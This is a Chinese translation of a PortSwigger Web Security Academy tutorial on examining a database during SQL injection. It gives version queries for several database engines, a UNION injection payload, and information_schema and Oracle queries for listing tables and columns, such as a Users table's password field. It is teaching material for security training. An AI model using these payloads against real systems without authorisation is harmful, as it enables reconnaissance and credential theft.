mysql in sql注入_在 SQL 注入攻击中检查数据库
原文來自:PORTSWIGGER WEB SECURITY >> Web Security Academy >>Examining the database >>Examining the database in SQL injection attacks
...
當(dāng)利用 SQL 注入利用時,收集數(shù)據(jù)庫本身的信息通常是必要的。這包括數(shù)據(jù)庫軟件的類型和版本,還包括數(shù)據(jù)庫中包含的表和列等內(nèi)容。
查詢數(shù)據(jù)庫類型和版本
不同的數(shù)據(jù)庫提供不同的版本查詢方式。我們通常需要在多種查詢方式中嘗試,找出可以讓我們確定數(shù)據(jù)庫軟件類型和版本的那一種方法。
主流數(shù)據(jù)庫提供如下方式來確定數(shù)據(jù)庫版本:
Database type | Query
----------------------------------------
Microsoft, MySQL | SELECT @@version
Oracle | SELECT * FROM v$version
PostgreSQL | SELECT version()
例如,可以在 UNION 注入攻擊中利用如下 payload:
' UNION SELECT @@version--
我們可能得到如下結(jié)果,從而確定數(shù)據(jù)庫類型為 Microsoft SQL Server ,版本信息為:
Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 (Build 14393: ) (Hypervisor)Lab: SQL injection attack, querying the database type and version on Oracle?portswigger.netLab: SQL injection attack, querying the database type and version on MySQL and Microsoft?portswigger.net
列出數(shù)據(jù)庫的內(nèi)容
大多數(shù)數(shù)據(jù)類型,都有一組被稱作 information schema 的視圖,這些視圖提供有關(guān)數(shù)據(jù)庫的信息。
我們可以通過查詢 information_schema.tables 列出數(shù)據(jù)庫的表:
SELECT * FROM information_schema.tables
返回如下:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE
這些返回結(jié)果表明,庫中有三個表,分別是 Products, Users, Feedback。
我們可以通過查詢 information_schema.columns 列出特定表中的列:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
返回如下:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar
此輸出顯示了指定表中的列以及每列的數(shù)據(jù)類型。Lab: SQL injection attack, listing the database contents on non-Oracle databases?portswigger.net
等效于 Oracle 中的 information schema
在 Oracle 中,我們可以通過稍有差異的查詢語句獲取同樣的信息。
我們可以通過查詢 all_tables 列出表:
SELECT * FROM all_tables
可以通過查詢 all_tab_columns 列出列:
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'Lab: SQL injection attack, listing the database contents on Oracle?portswigger.net
總結(jié)
以上是生活随笔為你收集整理的mysql in sql注入_在 SQL 注入攻击中检查数据库的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: mysql的还原_MySQL 还原
- 下一篇: sysbench 压测 mysql_sy